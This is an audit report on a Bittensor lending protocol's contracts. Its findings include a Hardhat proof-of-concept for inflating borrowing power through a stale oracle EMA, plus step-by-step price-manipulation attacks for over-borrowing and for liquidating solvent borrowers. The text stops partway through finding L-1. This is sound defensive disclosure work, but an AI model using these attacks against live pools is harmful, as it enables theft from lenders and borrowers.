



Morpho Blue On Bittensor Audit Report

Prepared by [Burra Security](#)

Version 1.0

Researchers

eevore

T1MOH

thepantherplus

demonhat

August 2, 2026

Contents

1	About Burra Security	2
2	Disclaimer	2
3	Risk Classification	2
4	Protocol Summary	2
5	Audit Scope	3
6	Executive Summary	3
7	Findings	6
7.1	Medium Risk	6
7.1.1	unsettled trim bad debt lets early lenders withdraw before losses are socialized	6
7.1.2	Gap-compounded borrow EMA lets one poke on a stale pool telescope borrowing power ~30% toward a manipulated spot, enabling under-collateralized borrows	7
7.1.3	Base rate and fee changes apply retroactively to every pool's unaccrued interest	13
7.1.4	Borrow EMA can be exploited to over-borrow into bad debt after a deep crash	13
7.1.5	Liquidation EMA can be sampled in one transaction to liquidate a solvent borrower	15
7.2	Low Risk	16
7.2.1	positive-value dust residue can block full-collateral bad-debt close	16
7.2.2	root dust can block the liquid tao withdraw fallback	17
7.2.3	capacity gate ignores liquidator bonus amm drain	18
7.2.4	Liquidation Inverse Leaves One-RAO Collateral Dust With Borrower.	19
7.2.5	Liquidation rounds repaid shares down and does not recompute repaid assets	21
7.2.6	Collateral minimum position is checked in alpha, not TAO value	21
7.2.7	Pre-liquidation incentive is not capped to the pool liquidation incentive	22
7.2.8	Trim rounding residue over-values collateral and can over-distribute forceClose proceeds . .	22
7.2.9	Withdraw pays lenders with a raw call that can fail for a contract receiver	23
7.3	Informational	24
7.3.1	Interest is not accrued before deregistration	24
7.3.2	Code hardening: missing events and floating pragmas	24
7.3.3	Registry and adapter can be swapped instantly, freezing pools or forcing settlement of a live subnet	25
7.3.4	All pools stake to one immutable hotkey with no recovery if it loses validator status	25
7.3.5	The staking precompile gas cap may be too low and can block liquidations	26
7.3.6	Liquidator overpayment through msg.value is not refunded	26
7.3.7	Supply share inflation through donation is possible but not economical	27
7.3.8	Trim can charge other collateral holders for an underwater borrower's deficit	27

1 About Burra Security

Burra Security offers security auditing and advisory services with a special focus on cross-chain and interoperability protocols and their integrations. Learn about us at burrasec.com.

2 Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

3 Risk Classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

The in-scope contracts implement a Morpho Blue-style isolated lending market for Bittensor subnets. `BtLendingFactory` deploys one `BtLendingPool` per subnet, where lenders supply TAO and borrowers post the subnet's alpha token as collateral, all staked via Bittensor's staking precompile to a single validator hotkey.

Each pool uses Morpho-derived virtual-shares accounting (`SharesMath`) and a utilization-driven rate model (`ZonedDriftIrm`). `BtOracle` prices collateral from subnet AMM reserves through an `IAmmAdapter` (`UniswapV2Adapter`), combining a borrow-reference EMA, a liquidation EMA, and a capacity gate that caps pool borrowing against AMM depth. `PreLiquidation` adds Morpho-style early liquidation at a smaller, configurable incentive.

Collateral keeps earning staking emissions while backing loans, and callback-driven liquidations let zero-capital keepers repay debt from the same swap that sells seized collateral. `SubnetRegistryPrecompile` tracks each subnet's registration state so a pool can detect deregistration and force-close, socializing bad debt from a subnet that stops existing on-chain.

5 Audit Scope

The following files were in the scope of the audit:

```
contracts/
├── interfaces/
│   ├── IAddressMapping.sol
│   ├── IAlpha.sol
│   ├── IAmmAdapter.sol
│   ├── IBtLendingFactory.sol
│   ├── IBtLendingPool.sol
│   ├── IBtLiquidateCallback.sol
│   ├── IBtOracle.sol
│   ├── Iirm.sol
│   ├── IPreLiquidation.sol
│   ├── IPreLiquidationCallback.sol
│   ├── IPreLiquidationFactory.sol
│   ├── IStakingV2.sol
│   └── ISubnetRegistry.sol
├── libraries/
│   ├── ExpLib.sol
│   ├── InterestRateModel.sol
│   ├── MathLib.sol
│   ├── SharesMath.sol
│   └── UtilsLib.sol
├── BtLendingFactory.sol
├── BtLendingPool.sol
├── BtOracle.sol
├── PoolDeployer.sol
├── PreLiquidation.sol
├── PreLiquidationFactory.sol
├── SubnetRegistryPrecompile.sol
├── UniswapV2Adapter.sol
└── ZonedDriftIrm.sol
```

6 Executive Summary

Over the course of 8 days, the Burra Security team conducted an audit on the [Morpho Blue On Bittensor](#) smart contracts provided by [Mentat Minds](#). In this period, a total of 22 issues were found.

Summary

Project Name	Morpho Blue On Bittensor
Repository	mm-lending-contracts
Commit	0afb1af98dd2...
Audit Timeline	Jul 6th - Jul 15th
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	5
Low Risk	9
Informational	8
Gas Optimizations	0
Total Issues	22

Summary of Findings

[M-1] unsettled trim bad debt lets early lenders withdraw before losses are socialized	Resolved
[M-2] Gap-compounded borrow EMA lets one poke on a stale pool telescope borrowing power ~30% toward a manipulated spot, enabling under-collateralized borrows	Resolved
[M-3] Base rate and fee changes apply retroactively to every pool's unaccrued interest	Resolved
[M-4] Borrow EMA can be exploited to over-borrow into bad debt after a deep crash	Resolved
[M-5] Liquidation EMA can be sampled in one transaction to liquidate a solvent borrower	Resolved
[L-1] positive-value dust residue can block full-collateral bad-debt close	Resolved
[L-2] root dust can block the liquid tao withdraw fallback	Resolved
[L-3] capacity gate ignores liquidator bonus amm drain	Resolved
[L-4] Liquidation Inverse Leaves One-RAO Collateral Dust With Borrower.	Resolved
[L-5] Liquidation rounds repaid shares down and does not recompute repaid assets	Resolved
[L-6] Collateral minimum position is checked in alpha, not TAO value	Resolved
[L-7] Pre-liquidation incentive is not capped to the pool liquidation incentive	Resolved
[L-8] Trim rounding residue over-values collateral and can over-distribute force-Close proceeds	Resolved
[L-9] Withdraw pays lenders with a raw call that can fail for a contract receiver	Resolved
[I-1] Interest is not accrued before deregistration	Acknowledged
[I-2] Code hardening: missing events & floating pragmas	Resolved
[I-3] Registry and adapter can be swapped instantly, freezing pools or forcing settlement of a live subnet	Acknowledged
[I-4] All pools stake to one immutable hotkey with no recovery if it loses validator status	Acknowledged

[I-5] The staking precompile gas cap may be too low and can block liquidations	Acknowledged
[I-6] Liquidator overpayment through msg.value is not refunded	Resolved
[I-7] Supply share inflation through donation is possible but not economical	Acknowledged
[I-8] Trim can charge other collateral holders for an underwater borrower's deficit	Resolved

7 Findings

7.1 Medium Risk

7.1.1 unsettled trim bad debt lets early lenders withdraw before losses are socialized

Target: [BtLendingPool.sol](#)

Severity:

- Impact: High
- Likelihood: Low

Description: `BtLendingPool.trim()` can create borrower-level bad debt, but the bad-debt writeoff is deferred until `settleTrim(borrower)` is called. during this gap, `withdraw()` remains open and prices lender exits using `totalAssets()`, which still includes the wiped borrower's residual debt inside `totalBorrowAssets`.

`trim()` sells collateral and immediately credits the recovered value to lenders:

```
uint256 repaid = UtilsLib.min(taoRecovered, totalBorrowAssets);
totalBorrowAssets -= repaid;
trimSoldAlpha += actualRemoved;
trimSeizePerBorrowShare += increment;
_safeAddStake(0, taoRecovered);
```

however, `trim()` does not settle any borrower. the borrower-level collateral burn and bad-debt writeoff happen later in `_settleTrim()`:

```
if (pending >= collAlpha) {
    totalCollateralShares -= pos.collateralShares;
    pos.collateralShares = 0;
}

trimSoldAlpha = UtilsLib.zeroFloorSub(trimSoldAlpha, pending);
_writeOffIfEmptied(borrower, pos);
```

the writeoff only fires inside `_writeOffIfEmptied()` after the borrower has been settled:

```
if (pos.collateralShares == 0 && pos.borrowShares > 0) {
    uint256 residual = pos.borrowShares.toAssetsUp(totalBorrowAssets, totalBorrowShares);
    totalBorrowAssets = UtilsLib.zeroFloorSub(totalBorrowAssets, residual);
    totalBorrowShares -= pos.borrowShares;
    pos.borrowShares = 0;
}
```

before this settlement happens, `withdraw()` can still redeem lender shares against the inflated pool value:

```
function totalAssets() public view returns (uint256) {
    return _rootAlpha() + lenderTaoBalance + totalBorrowAssets;
}

uint256 total = totalAssets();
assets = shares.toAssetsDown(total, totalSupplyShares);
```

so the pool can be in this state:

```
trim recovered root liquidity      = 40 tao
borrower bad debt not written off  = 60 tao
totalAssets() reports              = 100 tao
real settled lender value          = 40 tao
```

an early lender can withdraw before `settleTrim()` runs and receive value based on the fake 100 tao pool value. after a later keeper/user calls `settleTrim()` for the wiped borrower, the residual debt is finally removed from `totalBorrowAssets`, and only the remaining lenders absorb the loss.

Recommended Mitigation: block `withdraw()` while a trim epoch has unsettled borrower losses, or otherwise finalize/write off those losses before lender exits are priced. `totalAssets()` must not include debt that is already unrecoverable due to an unsettled trim wipe.

Mentat Minds: Resolved by documenting the trim precondition, deltaSafe invariant, and settlement transparency in [b4f9be8](#).

BurraSec: Resolved. Under the documented in-regime conditions, pending trim settlement cannot create premature bad debt or allow lenders to withdraw against phantom value.

7.1.2 Gap-compounded borrow EMA lets one poke on a stale pool telescope borrowing power ~30% toward a manipulated spot, enabling under-collateralized borrows

Target: [BtOracle.sol], [BtLendingPool.sol]

Severity:

- Impact: High
- Likelihood: Low

Description: The borrow-side EMA is the protocol's defense against flash manipulation of borrowing power. The spec says borrowing power should only rise meaningfully if an attacker sustains a pump for ~46h (borrow EMA half-life).

That guarantee breaks on a stale pool. When `oracle.update()` has not run for a long time, the borrow leg gap-compounds up to `BORROW_EMA_CAP_BLOCKS = 7,200` missed blocks in one update. A single post-pump poke moves borrow-side reserves ~30% toward whatever spot is sampled at poke time.

- An attacker can:
 1. Wait for (or find) a pool idle ~7,200 blocks
 2. Pump the subnet AMM with transient capital
 3. Call `borrow()` which runs `_accrueInterest()` -> `oracle.update()` at the pumped spot, telescoping the borrow EMA ~30%
 4. Borrow against the inflated `borrowRef` / `capacityGate`.
 5. Unwind the pump in a follow-up transaction
 6. After unwind, debt exceeds the fair `live*LLTV` limit. The pool holds an undercollateralized receivable; when the position is eventually emptied without full repayment, residual debt is socialized via `_writeOffIfEmpty`

Protocol Intent: The following is the documented protocol intent, and how it is bypassed:

```
- **Borrow EMA** (decay 0.5 bps/block, half-life ~13,863 blocks / ~46h): governs borrowing power (`min(live, borrowRef)` at borrow/withdraw), the capacity gate (`min(tau_borrowEma, tau_live)`), and trim (`max(tau_borrowEma, tau_live)`). Very slow : an attacker must sustain a pump for ~46h against arbitrage before borrowing power meaningfully rises.
...
- **Borrow leg** gap-compounds at `min(elapsed, BORROW_EMA_CAP_BLOCKS = 7,200)` (~0.5 half-lives -> <= ~30% movement per cap-length poke), so an idle gap can't teleport it to a manipulated spot.
```

- I-18(a) and Section 12 both assume flash manipulation is eliminated and only sustained pumps move borrowing power.
- **Why this bypasses accepted risk?** Section 12 “Sustained price suppression” assumes the attacker must hold the pump while the EMA moves. Here the attacker holds the pump only across the `borrow()` transaction that triggers the telescope, then unwinds. That is not the ~46h hold the accepted-risk model relies on.

Root Cause:

1. Borrow leg gap-compounds (asymmetric vs liq leg)

```
uint256 borrowCredited =
    elapsed > BORROW_EMA_CAP_BLOCKS ? BORROW_EMA_CAP_BLOCKS : elapsed;
uint256 borrowFactor = _powWad(BORROW_EMA_BASE_WAD, borrowCredited);
...
uint256 liqFactor = LIQ_EMA_BASE_WAD;
emaBorrowTauScaled = _emaStep(emaBorrowTauScaled, spotTau, borrowFactor);
...
emaLiqAlphaScaled = _emaStep(emaLiqAlphaScaled, spotAlpha, liqFactor);
```

- D26 fixed the liq leg to single-step so one poke cannot telescope to a manipulated spot. The borrow leg still gap-compounds. At elapsed = 7200: $0.99995^{7200} \approx 0.6977 \rightarrow 30.23\%$ movement toward sampled spot in one poke.

2. Borrowing power uses the telescoped reference

```
function borrowValue(uint256 alphaAmount) external view returns (uint256) {
    return UtilsLib.min(_liveValue(alphaAmount), _borrowRefValue(alphaAmount));
}

-----

function capacityGate() external view returns (uint256) {
    uint256 tLive = adapter.taoReserves(netuid);
    (uint256 tEma,) = _borrowReserves();
    uint256 tau = UtilsLib.min(tEma, tLive);
    return adapter.capacityGateBps(LLTV_BPS, LIF_BPS) * tau / BPS;
}
```

3. Pump is sampled before checks so min() does not help

```
_accrueInterest();
...
if (totalBorrowAssets > oracle.capacityGate()) {
    revert CapacityExceeded();
}
if (debtOf(onBehalf) > _borrowLimit(effectiveCollateral(onBehalf))) {
    revert ExceedsLltv();
}
```

During borrow(), the attacker keeps the pump live. At check time:

- liveValue = pumped (high)
- borrowRef = telescoped EMA (high, below live)
- min(live, borrowRef) = borrowRef : the inflated telescoped value Both min(live, borrowRef) and min(tau_ema, tau_live) are co-manipulated in the same transaction.

Proof of Concept:

```
import { expect } from "chai";
import hre from "hardhat";
import { Contract, Signer } from "ethers";
import {
    sealEmptyBlock,
    sealBlocksHeavy,
    deployFactoryAndPool,
    walkEma,
    walkBorrowEma,
    submitSubstrateTx,
    prepareRootAlpha,
```

```

    prepareSubnetAlpha,
  } from "../helpers";
import { ApiPromise, WsProvider, Keyring } from "@polkadot/api";

const TAO = 1_000_000_000n;
const NETUID = 1;
const BOB_HOTKEY =
  "0x8eaf04151687736326c9fea17e25fc5287613693c912909cb226aa4794f26a48";
const GAS = { gasLimit: 5_000_000 };
const IDLE_BLOCKS = 7200;
const BPS = 10_000n;

/**
 * Validates stale-pool + gap-compounded borrow EMA after BORROW_EMA_CAP_BLOCKS idle,
 * then pump + single poke: does borrowRef inflate ~30% toward spot and allow excess borrow?
 */
describe("Scenario -- stale borrow EMA pump catch-up", function () {
  this.timeout(3_600_000);

  let pool: Contract;
  let oracle: Contract;
  let alith: Signer;
  let baltathar: Signer;
  let baltatharAddr: string;
  let poolAddr: string;
  let collAlpha: bigint;

  let api: ApiPromise;
  let alice: any;
  let bob: any;

  let lltvBps: bigint;
  let fairBorrowLimit: bigint;
  let fairBorrowRef: bigint;
  let postPumpBorrowLimit: bigint;
  let postPumpBorrowRef: bigint;
  let excessBorrowed: bigint;

  before(async function () {
    [alith, baltathar] = await hre.ethers.getSigners();
    baltatharAddr = await baltathar.getAddress();

    ({ pool, poolAddr } = await deployFactoryAndPool(hre, alith, NETUID, BOB_HOTKEY));
    const oracleAddr = await pool.oracle();
    const Oracle = await hre.ethers.getContractFactory("BtOracle");
    oracle = Oracle.attach(oracleAddr);

    lltvBps = await oracle.LLTV_BPS();

    api = await ApiPromise.create({ provider: new WsProvider("ws://127.0.0.1:9944") });
    const keyring = new Keyring({ type: "sr25519" });
    alice = keyring.addFromUri("//Alice");
    bob = keyring.addFromUri("//Bob");

    await submitSubstrateTx(
      api, alice,
      (api.tx.subtensorModule as any).addStake(bob.address, NETUID, 500n * TAO)
    );
    await sealBlocksHeavy(20);

    await prepareRootAlpha(hre, alith, BOB_HOTKEY, poolAddr, 500n * TAO);
    await sealBlocksHeavy(20);
  });
});

```

```

await (pool.connect(alith) as any).supply(400n * TAO, On, await alith.getAddress(), GAS);

const alphaBalt = await prepareSubnetAlpha(
  hre, baltathar, BOB_HOTKEY, poolAddr, NETUID, 100n * TAO
);
await sealBlocksHeavy(20);
await walkEma(pool);
await walkBorrowEma(pool);

await (pool.connect(baltathar) as any).supplyCollateral(alphaBalt, On, baltatharAddr, GAS);
await (pool as any).accrueInterest(GAS);

collAlpha = await pool.effectiveCollateral(baltatharAddr);
console.log("    Collateral alpha:", (collAlpha / TAO).toString(), "TAO");
});

after(async function () {
  if (api) await api.disconnect();
});

it("should idle 7200 blocks without oracle poke", async function () {
  const emaBefore: bigint = await oracle.emaBorrowTauScaled();
  const blockBefore: bigint = await oracle.emaBlock();
  console.log(`    Sealing ${IDLE_BLOCKS} empty blocks...`);
  await sealBlocksHeavy(IDLE_BLOCKS);
  const emaAfter: bigint = await oracle.emaBorrowTauScaled();
  const blockAfter: bigint = await oracle.emaBlock();
  expect(emaAfter).to.equal(emaBefore);
  expect(blockAfter).to.equal(blockBefore);
  console.log("    EMA frozen across idle gap");
});

it("should record fair borrowRef at pre-pump spot", async function () {
  fairBorrowRef = await oracle.borrowValue(collAlpha);
  fairBorrowLimit = fairBorrowRef * llvBps / BPS;
  const liveVal = await oracle.liveValue(collAlpha);
  console.log(
    "    Fair borrowRef:", (fairBorrowRef / TAO).toString(), "TAO",
    "live:", (liveVal / TAO).toString(), "TAO"
  );
  expect(fairBorrowRef).to.be.lte(liveVal);
});

it("should pump spot then apply one EMA poke (~30% catch-up)", async function () {
  const emaTauBefore = (await oracle.emaBorrowTauScaled()) / BigInt(1e18);
  const liveBefore = await oracle.taoReserves();

  await submitSubstrateTx(
    api, alice,
    (api.tx.subtensorModule as any).addStake(bob.address, NETUID, 400n * TAO)
  );
  await sealEmptyBlock();

  const liveAfter = await oracle.taoReserves();
  console.log(
    "    Pump live tau:", (liveBefore / TAO).toString(), "->", (liveAfter / TAO).toString(), "TAO"
  );

  await (pool as any).accrueInterest(GAS);

  const emaTauAfter = (await oracle.emaBorrowTauScaled()) / BigInt(1e18);
  const gap = liveAfter > emaTauBefore ? liveAfter - emaTauBefore : emaTauBefore - liveAfter;

```

```

const moved = emaTauAfter > emaTauBefore ? emaTauAfter - emaTauBefore : emaTauBefore - emaTauAfter;
const pctOfGap = gap > 0n ? Number((moved * 10000n) / gap) / 100 : 0;
console.log(`    Borrow tau EMA moved ${pctOfGap}% of spot gap (expect ~30%)`);
expect(pctOfGap).toBe.greaterThan(25);
expect(pctOfGap).toBe.lessThan(35);

postPumpBorrowRef = await oracle.borrowValue(collAlpha);
postPumpBorrowLimit = postPumpBorrowRef * lltvBps / BPS;
const liveVal = await oracle.liveValue(collAlpha);

console.log(
  "    Post-poke borrowRef:", (postPumpBorrowRef / TAO).toString(),
  "limit:", (postPumpBorrowLimit / TAO).toString(),
  "live:", (liveVal / TAO).toString()
);

expect(postPumpBorrowRef).toBe.gt(fairBorrowRef);
expect(postPumpBorrowRef).toBe.lte(liveVal);

const boostPct = Number((postPumpBorrowRef - fairBorrowRef) * 10000n / fairBorrowRef) / 100;
console.log(`    borrowRef boost vs fair: ${boostPct}%`);
expect(boostPct).toBe.greaterThan(5);
});

it("should allow incremental borrow at inflated borrowRef", async function () {
  const debtBefore = await pool.debtOf(baltatharAddr);
  const headroom = postPumpBorrowLimit > debtBefore ? postPumpBorrowLimit - debtBefore : 0n;
  const gate = await oracle.capacityGate();
  const poolHeadroom = gate > await pool.totalBorrowAssets()
    ? gate - await pool.totalBorrowAssets()
    : 0n;
  const borrowAmt = headroom < poolHeadroom ? headroom : poolHeadroom;
  const safeAmt = borrowAmt > 50n * TAO ? 50n * TAO : borrowAmt;

  console.log(
    "    Headroom by LLTV:", (headroom / TAO).toString(),
    "by gate:", (poolHeadroom / TAO).toString(),
    "attempt:", (borrowAmt / TAO).toString()
  );

  if (safeAmt < TAO) {
    this.skip();
    return;
  }

  const tx = await pool.connect(baltathar).borrow(
    safeAmt, 0n, baltatharAddr, baltatharAddr, GAS
  );
  await tx.wait();
  excessBorrowed = safeAmt;
  expect(await pool.isWithinBorrowLimit(baltatharAddr)).toBe.true;
});

it("should leave position underwater vs fair spot after pump unwind", async function () {
  if (excessBorrowed === undefined || excessBorrowed === 0n) {
    this.skip();
    return;
  }

  await submitSubstrateTx(
    api, alice,
    (api.tx.subtensorModule as any).removeStake(bob.address, NETUID, 400n * TAO)
  );

```

```

);
await sealEmptyBlock();
await (pool as any).accrueInterest(GAS);

const debt = await pool.debtOf(baltatharAddr);
const liveVal = await oracle.liveValue(collAlpha);
const fairLimitNow = liveVal * lltvBps / BPS;
const underwater = debt > fairLimitNow;

console.log(
  "  Post-unwind debt:", (debt / TAO).toString(),
  "fair limit (live*LLTV):", (fairLimitNow / TAO).toString(),
  "underwater:", underwater
);

expect(underwater).to.be.true;
expect(debt).to.be.gt(fairBorrowLimit);
});
});

```

Exploit Scenario:

1. Pool idle ~7,200 blocks (normal for quiet healthy pools)
2. Attacker supplies collateral
3. Attacker pumps AMM (addStake)
4. Attacker calls borrow() -> _accrueInterest() -> oracle.update() telescopes borrow EMA ~30%
5. Excess borrow succeeds against inflated borrowRef / capacityGate
6. Attacker unwinds pump (removeStake)
7. Position underwater vs fair spot; lenders left with undercollateralized receivable

Impact:

- Attacker extracts excess root alpha/TAO against inflated borrow reference
- After unwind: position is underwater vs fair live*LLTV (PoC: debt 34 vs limit 11)
- Residual becomes bad debt if collateral is emptied without full repayment
- Breaks I-18(a) borrow-side flash immunity and D21 capacity-gate flash-inflation immunity

Recommended Mitigation:

- Reject/clamp borrows when elapsed is large and same-block delta exceeds threshold.

Mentat Minds: Fixed in [d2bb550](#) by anchoring EMA observations to boundary-written prices and applying a rise-limited borrow floor.

BurraSec: Fixed. A single poke after a stale period can no longer sample a transaction-time manipulated price or inflate borrowing capacity.

7.1.3 Base rate and fee changes apply retroactively to every pool's unaccrued interest

Target: [BtLendingFactory.sol](#)

Severity:

- Impact: Medium
- Likelihood: High

Description: `setBaseRate` and `setFee` write the new value directly to factory storage (`baseRate = newBaseRate`, `fee = newFee`). Every pool reads these values live inside `_accrueInterest` (`factory.baseRate()` and `factory.fee()`). A pool only accrues on its own schedule, so the interval between a pool's last accrual and the moment the owner changes the value is charged at the new rate rather than the rate that was in effect during that interval.

Because each pool has a different `lastAccrualTime`, one owner call silently re-prices past, unaccrued interest across all pools by a different amount for each of them. This is a value transfer between lenders and borrowers that neither party agreed to and that depends on pool timing rather than on the intended rate schedule.

Recommended Mitigation: Snapshot `baseRate` and `fee` per pool. The factory keeps the global default, and a pool should accrue interest with its stored value up to the change, then adopt the new value going forward (for example by having the owner call an `updateBaseRate` / `updateFee` on each pool after changing the factory value, or by having the pool cache the value and refresh it only inside `_accrueInterest` after booking the prior interval).

Mentat Minds: Fixed in [461c39f](#) by caching base rate & fee per pool and refreshing them only after the previous interval is accrued.

BurraSec: Fixed. Rate and fee changes now apply strictly forward per pool, eliminating retroactive repricing of unaccrued interest.

7.1.4 Borrow EMA can be exploited to over-borrow into bad debt after a deep crash

Target: [BtOracle.sol](#), [BtLendingPool.sol](#)

Severity:

- Impact: High
- Likelihood: Low

Description: Borrowing power uses `borrowValue = min(_liveValue, _borrowRefValue)`, where the reference leg is a slow reserve EMA (about 46h half life). During a monotone crash the reference stays above live, so the min binds on the crashed live value and honest borrowing is limited to the true price. The envelope that guarantees this assumes a monotone price path.

An attacker exploits a non monotone path. After a deep crash, whether from an ordinary large sell or from a liquidation cascade inside this pool, the borrow reference still lags at the pre crash valuation. In one atomic transaction the attacker buys alpha to push the live price up to the reference, so the min now binds on the lagging reference, deposits collateral, borrows up to `LLTV * reference`, then sells the alpha back to restore the price. The cost is only the round trip swap fees. Pushing the live price up also raises `tau_live`, which loosens the capacity gate from `c * tau_live_crashed` to `c * tau_ema`, so the same manipulation defeats the gate's crash tightening.

The attacker needs no pre existing position. The collateral can be bought at the crashed price during the attack, as long as it is a distinct, smaller buy than the manipulation leg.

The attacker also carries no price exposure. The manipulation buy and sell fit in one transaction so the price is restored before the transaction ends with no arbitrage window and no inventory held across blocks. Combined with buying the collateral fresh, the attack needs no holding of the subnet's alpha at all. It becomes a systematic risk free extraction: monitor every pool and fire the atomic sequence whenever a deep crash leaves the borrow EMA lagging, gated only by the crash condition. This is runtime dependent, and the rate limiter is a clean binary gate rather than a partial defense. If the limiter is active, the atomic transaction fails closed: the sell (`removeStake` on the same (`hotkey`, `coldkey`, `netuid`) the buy just flagged) reverts, and since the whole attack is one atomic transaction it all reverts, so the attacker loses only gas with no position opened and no exposure. To still profit the

attacker would have to voluntarily split the attack across two blocks (borrow in block N, sell in block N+1, since the borrow checks a different tuple and is not poisoned), which takes on arbitrage risk on the pushed price. The manipulation leg is large relative to the collateral (roughly 15 to 25 percent of the pool for a 30 to 50 percent push), so if the pushed price is arbed back down before the revert the loss exceeds the borrow gain. Because the atomic probe is free to try and reverts cleanly, no rational attacker takes the two block gamble except on a pool they are confident is quiet, and even there the revert races arbs under FIFO plus random ordering.

On a runtime that allows the atomic same tuple round trip this is a risk free systematic Medium; on a runtime that enforces the limiter the risk free path is fully blocked (atomic attempt reverts on a gas losing probe), leaving only a voluntary risky quiet pool two block bet, which drops the finding to Low.

Note that the documented fake high defense (chain reference watch items, a roughly 46h sustained pump to lift the reference) does not cover this attack, because the reference is not pumped. It is already high, lagging a real crash, and only the live leg is pumped for one transaction to reach it.

The attacker profits when the borrow exceeds the true collateral value, that is $LLTV * inflation > 1$, where inflation is the reference over the true spot. The naive break even crash is $1 - LLTV$ (reference fully lagged at the pre crash price). The reserve EMA carries a downward mediant bias that reduces inflation (about 20 percent below a naive price EMA at a 50 percent crash, per docs/reserve-ema-oracle.md), which raises the break even. The tests deploy at 70 percent LLTV (STD_POOL, test/helpers.ts) and at 50 percent, and the factory only bounds $lltv * lif < 1$, so a high LLTV pool is possible. Break even by LLTV:

LLTV	c (capacity gate)	Break even crash (naive)	Break even crash (with mediant bias)
50 percent (tested)	27.5 percent	50 percent	about 62 percent
70 percent (tested)	14.3 percent	30 percent	about 42 percent
80 percent	8.35 percent	20 percent	about 29 percent

Higher LLTV pools are exposed by a shallower crash, and the capacity gate that bounds the per attack size shrinks at the same time. The naive column is the worst case (instant crash, immediate attack); a gradual crash lets the EMA catch up and pushes the break even higher. The mediant column is a rough fit to the single documented anchor. Above the break even the borrow becomes bad debt the attacker abandons, and lenders absorb the shortfall.

Three checks bound but do not remove the attack. The LLTV buffer sets the $1/LLTV$ inflation threshold. The mediant bias raises the crash needed. The capacity gate ($totalBorrowAssets \leq c * \min(\tau_{ema}, \tau_{live})$) plus the available root stake cap the aggregate over borrow, and for high LLTV pools c is small (about 8.35 percent at 80 percent LLTV), so the bad debt per attack is bounded. The attacker still lands within the gate room, and the same live pump loosens the gate. The manipulation is cheap and reproducible whenever a deep crash leaves the borrow EMA lagging.

Recommended Mitigation: Add a faster EMA as a third leg of the borrow reference `min: borrowValue = min(live, borrowEMA, fastEMA)`. It only affects the result when `fastEMA < borrowEMA`, which is exactly the signal that the slow borrow EMA is lagging a drop, so this leg can only lower borrow power, never raise it, and it tracks a real crash down without the 46h lag. Because the fast leg advances at most one step per block, a single transaction pump cannot walk it up to the lagging borrow EMA, which closes the atomic over borrow while genuine multi block moves still pass. The existing liq EMA can be reused, but its 25 percent per block step recovers a quarter of the gap in one block, so a dedicated leg with a smaller per block allowance (faster than the 46h borrow EMA, slower than the 25 percent liq EMA) is tighter. Also cap the maximum LLTV in the factory, since only $lltv * lif < 1$ is enforced today and a 90 percent pool breaks even at a 10 percent crash.

Mentat Minds: Fixed in [d2bb550](#) by replacing the manipulable reserve EMA with boundary-anchored, crash-reactive borrow references.

BurraSec: Fixed for the reported exploit. In-transaction price manipulation can no longer raise the borrow reference or capacity gate, the broader oracle redesign should remain covered by the dedicated follow-up review.

7.1.5 Liquidation EMA can be sampled in one transaction to liquidate a solvent borrower

Target: [BtOracle.sol](#)

Severity:

- Impact: High
- Likelihood: Low

Description: Liquidation is gated on both the live price and a fast liquidation EMA of the pool reserves. The EMA is advanced inside `_update`, which returns early when `elapsed == 0`, so it moves at most once per block. Within a single transaction an attacker can sell alpha into the AMM to crash the price, call any pool entry point that triggers `oracle.update()` so the crashed reserves are sampled into the liquidation EMA, liquidate a target borrower while both the live price and the sampled EMA are below the threshold, and then buy the alpha back to restore the price. The seized collateral is priced at the crashed value, so after the price is restored the liquidator holds collateral worth more than the debt they repaid.

The round trip costs only the AMM swap fees and carries no arbitrage exposure, since the live price is restored before the transaction ends. Because the live price looks normal afterward, honest keepers never poke the oracle to correct the sampled EMA. The per block liquidation EMA cap (about 25 percent per update) limits how far a single sample moves the reference, so borrowers close to the liquidation threshold are exposed with one sample and better collateralised borrowers require the manipulation to be repeated across a few blocks on a quiet pool.

The single update per block, the FIFO plus random ordering of the chain, and the conservative capacity gate raise the cost and lower the reliability of the attack, but they do not remove it on low activity pools.

Recommended Mitigation: Bound the liquidation EMA against a manipulation resistant reference, or require the liquidation trigger to hold across a minimum number of independent updates in distinct blocks rather than a single sample. A larger liquidation deductible so that one block of manipulation cannot by itself cross the threshold would also reduce reachability.

Mentat Minds: Resolved in [d2bb550](#) by the oracle redesign.

BurraSec: New oracle design eliminates the issue.

7.2 Low Risk

7.2.1 positive-value dust residue can block full-collateral bad-debt close

Target: [BtLendingPool.sol](#), [SharesMath.sol](#)

Severity:

- Impact: High
- Likelihood: Low

Description: `BtLendingPool.liquidate()` has a dust-close exception for residues whose computed repayment is exactly zero. in that case, a liquidator may seize the borrower's full remaining collateral & `_writeOffIfEmptied()` socializes the leftover bad debt. however, there is another dust band that is not covered, the remaining collateral can have positive liquidation value, while that positive repayment is still too small to burn even one borrow share.

in the seized-collateral path, the pool first converts the seized collateral into a repayment amount, then converts that repayment into borrow shares:

```
seizedAlpha = seizedCollateralShares.toAssetsDown(vc, totalCollateralShares);
uint256 fairAlpha = (seizedAlpha * BPS + LIF_BPS - 1) / LIF_BPS;
repaidAssets = oracle.liqValue(fairAlpha);
repaidShares = repaidAssets.toSharesDown(totalBorrowAssets, totalBorrowShares);
```

the existing dust-close guard only handles `repaidAssets == 0`:

```
if (repaidAssets == 0 && seizedCollateralShares != pos.collateralShares) {
    revert ZeroSharesBurned();
}
```

but when interest has grown the borrow share price enough, a tiny positive repayment can still round down to zero borrow shares:

```
remaining collateral value = 2 rao
repaidAssets               = 2 rao
repaidShares               = 0
```

line 1043 then reverts:

```
if (repaidAssets > 0 && repaidShares == 0) revert ZeroSharesBurned();
```

because the function reverts before the accounting block, the full-collateral close never reaches `_writeOffIfEmptied()`. the position remains live with tiny collateral dust & uncollectable borrow shares, while `totalBorrowAssets` still counts the residual debt as if it were recoverable.

this is different from the documented zero-repayment dust-close case. the known fix covers:

```
repaidAssets == 0
```

our new issue is:

```
repaidAssets > 0
repaidShares == 0
```

